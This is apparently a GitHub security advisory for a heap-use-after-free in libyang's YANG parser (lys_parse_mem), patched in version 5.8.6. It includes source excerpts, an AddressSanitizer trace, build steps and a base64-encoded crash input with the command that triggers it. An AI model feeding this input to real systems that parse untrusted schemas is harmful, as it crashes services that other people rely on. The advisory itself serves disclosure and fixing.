Skip to content

lysp_ext_instance_path_stmt_append_r(): heap-use-after-free via lys_parse_mem()

Moderate
michalvasko published GHSA-mw37-wpg9-v68v Jun 19, 2026

Package

libyang

Affected versions

5.8.5 (devel @ 5435b592f)

Patched versions

5.8.6

Description

Summary

yangre (and any application using the public lys_parse_mem() API) contains a heap-use-after-free when parsing an untrusted YANG module that defines a type with more than one pattern statement.

Details

parse_type_pattern() appends each pattern restriction by growing the patterns dynamic array with LY_ARRAY_NEW_RET():

/* src/parser_yang.c:2212 */
LY_ARRAY_NEW_RET(PARSER_CTX(ctx), *patterns, restr, LY_EMEM);

Later, while building the extension-instance path, lysp_ext_instance_path_stmt_append_r() dereferences such a stale pattern pointer:

/* src/tree_schema.c:1747-1750 */
case LY_STMT_PATTERN: {
    const struct lysp_restr *res = stmt_p;
    LY_CHECK_RET(lysp_ext_instance_path_append(buf, size, "{%s='%s'}",
                 lyplg_ext_stmt2str(stmt), res->arg.str + 1));   /* <-- UAF read */
}

res (== stmt_p) points into the old, freed patterns array, so the load of res->arg.str — an 8-byte field located inside the freed element — is a use-after-free read.
AddressSanitizer confirms the freed region was both allocated and freed by LY_ARRAY_NEW_RET() at parser_yang.c:2212:

ERROR: AddressSanitizer: heap-use-after-free on address 0x50700000e3a8
READ of size 8 thread T0
    #0 lysp_ext_instance_path_stmt_append_r  src/tree_schema.c:1750:9
    #1 lysp_ext_instance_path                src/tree_schema.c:1847:9
    #2 lysp_ext_find_definition              src/tree_schema_common.c:2324:9
    #3 lysp_resolve_ext_instance_records     src/tree_schema.c:1911:13
    #4 lys_parse_in                          src/tree_schema.c:2784:5
    #5 lys_parse                             src/tree_schema.c:2866:11
    #6 lys_parse_mem                         src/tree_schema.c:2907:11
    #7 main                                  tools/re/main.c:434:9

freed by thread T0 here:
    #0 realloc
    #1 parse_type_pattern                    src/parser_yang.c:2212:5
    #2 parse_type                            src/parser_yang.c:2345:13
    #3 parse_leaf                            src/parser_yang.c:2443:13
    #4 parse_module                          src/parser_yang.c:4497:13

previously allocated by thread T0 here:
    #0 malloc
    #1 parse_type_pattern                    src/parser_yang.c:2212:5
    #2 parse_type                            src/parser_yang.c:2345:13

PoC

Build with AddressSanitizer:

git clone https://github.com/CESNET/libyang.git
cd libyang
git checkout 5435b592f

mkdir build && cd build
cmake -D CMAKE_BUILD_TYPE=Debug -D CMAKE_C_FLAGS="-fsanitize=address,undefined" ..
make -j

The 20-byte input contains a newline and a non-printable byte, so restore it from base64:

echo 'YS17c2VzbzphLXt9fWlvOnMtCiE=' | base64 -d > crash.yang

For reference, its bytes are:

612d 7b73 6573 6f3a 612d 7b7d 7d69 6f3a   a-{seso:a-{}}io:
732d 0a21                                 s-.!

Run yangre:

./yangre -V -f crash.yang

The ASan build aborts with the heap-use-after-free shown above. A plain release build (no sanitizer) segfaults (SIGSEGV) on the same input, confirming the freed-memory read is a real crash and not a sanitizer-only artifact.

Impact

A heap use-after-free (CWE-416) triggered purely by untrusted YANG schema input. Any program that parses attacker-controlled schemas through libyang's public lys_parse_mem() / lys_parse() path is affected.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

CVE ID

No known CVE

Weaknesses

Use After Free

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer. Learn more on MITRE.

Credits